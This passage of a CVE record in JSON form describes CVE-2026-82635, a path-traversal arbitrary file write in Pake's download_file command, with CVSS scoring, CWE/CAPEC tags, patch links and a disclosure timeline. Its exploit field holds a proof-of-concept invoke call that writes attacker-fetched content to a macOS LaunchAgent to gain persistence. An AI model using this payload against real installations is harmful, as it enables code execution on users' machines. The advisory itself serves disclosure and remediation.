              "value": "Pake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user\u0027s Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command."
            }
          ],
          "exploits": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eA proof of concept invokes window.__TAURI__.core.invoke(\u0027download_file\u0027, { params: { url: \u0027\u0026lt;attacker-controlled HTTP URL\u0026gt;\u0027, filename: \u0027../pake_write_proof.sh\u0027 } }) and a second invoke with filename \u0027../Library/LaunchAgents/com.pake.poc.plist\u0027. The files appear under the user home directory, not ~/Downloads. Loading the LaunchAgent (or the next login) runs the fetched payload in the user session.\u003c/p\u003e"
                }
              ],
              "value": "A proof of concept invokes window.__TAURI__.core.invoke(\u0027download_file\u0027, { params: { url: \u0027\u003cattacker-controlled HTTP URL\u003e\u0027, filename: \u0027../pake_write_proof.sh\u0027 } }) and a second invoke with filename \u0027../Library/LaunchAgents/com.pake.poc.plist\u0027. The files appear under the user home directory, not ~/Downloads. Loading the LaunchAgent (or the next login) runs the fetched payload in the user session."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-126",
              "descriptions": [
                {
                  "lang": "en",
                  "value": "CAPEC-126 Path Traversal"
                }
              ]
            },
            {
              "capecId": "CAPEC-165",
              "descriptions": [
                {
                  "lang": "en",
                  "value": "CAPEC-165 File Manipulation"
                }
              ]
            },
            {
              "capecId": "CAPEC-17",
              "descriptions": [
                {
                  "lang": "en",
                  "value": "CAPEC-17 Using Malicious Files"
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.8,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-22",
                  "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-08-30T12:26:16.770Z",
            "orgId": "48a46f29-ae42-4e1d-90dd-c1676c1e5e6d",
            "shortName": "JFROG"
          },
          "references": [
            {
              "name": "Fix: sanitize download filenames (basename only)",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/tw93/Pake/commit/a5463a84d6e36705ee0dd1886cf0e4b5a75b0ab4"
            },
            {
              "name": "Pake V3.13.1 release (first tag containing the fix)",
              "tags": [
                "vendor-advisory"
              ],
              "url": "https://github.com/tw93/Pake/releases/tag/V3.13.1"
            },
            {
              "name": "Pake repository",
              "tags": [
                "product"
              ],
              "url": "https://github.com/tw93/Pake"
            }
          ],
          "solutions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eUpgrade Pake to 3.13.1 or later and rebuild generated apps from that tree. The fix introduces sanitize_download_filename and uses only the final path segment before joining onto the Downloads directory, so ../ and absolute paths cannot escape that directory.\u003c/p\u003e"
                }
              ],
              "value": "Upgrade Pake to 3.13.1 or later and rebuild generated apps from that tree. The fix introduces sanitize_download_filename and uses only the final path segment before joining onto the Downloads directory, so ../ and absolute paths cannot escape that directory."
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "timeline": [
            {
              "lang": "en",
              "time": "2026-06-24T00:00:00.000Z",
              "value": "Vulnerability reported to maintainers"
            },
            {
              "lang": "en",
              "time": "2026-07-03T12:51:00.000Z",
              "value": "Fix committed upstream (sanitize download filenames)"
            },
            {
              "lang": "en",
              "time": "2026-07-04T15:30:00.000Z",
              "value": "Fix first shipped in Pake V3.13.1"
            }
          ],
          "title": "Pake arbitrary file write via unsanitized download_file filename",
          "x_generator": {
            "engine": "Vulnogram 1.0.5"
          }
        }
      },
      "cveMetadata": {
        "assignerOrgId": "48a46f29-ae42-4e1d-90dd-c1676c1e5e6d",
        "assignerShortName": "JFROG",
        "cveId": "CVE-2026-82635",
        "datePublished": "2026-08-30T12:26:16.770Z",
        "dateReserved": "2026-08-30T12:09:20.896Z",
        "dateUpdated": "2026-08-31T16:58:51.598Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }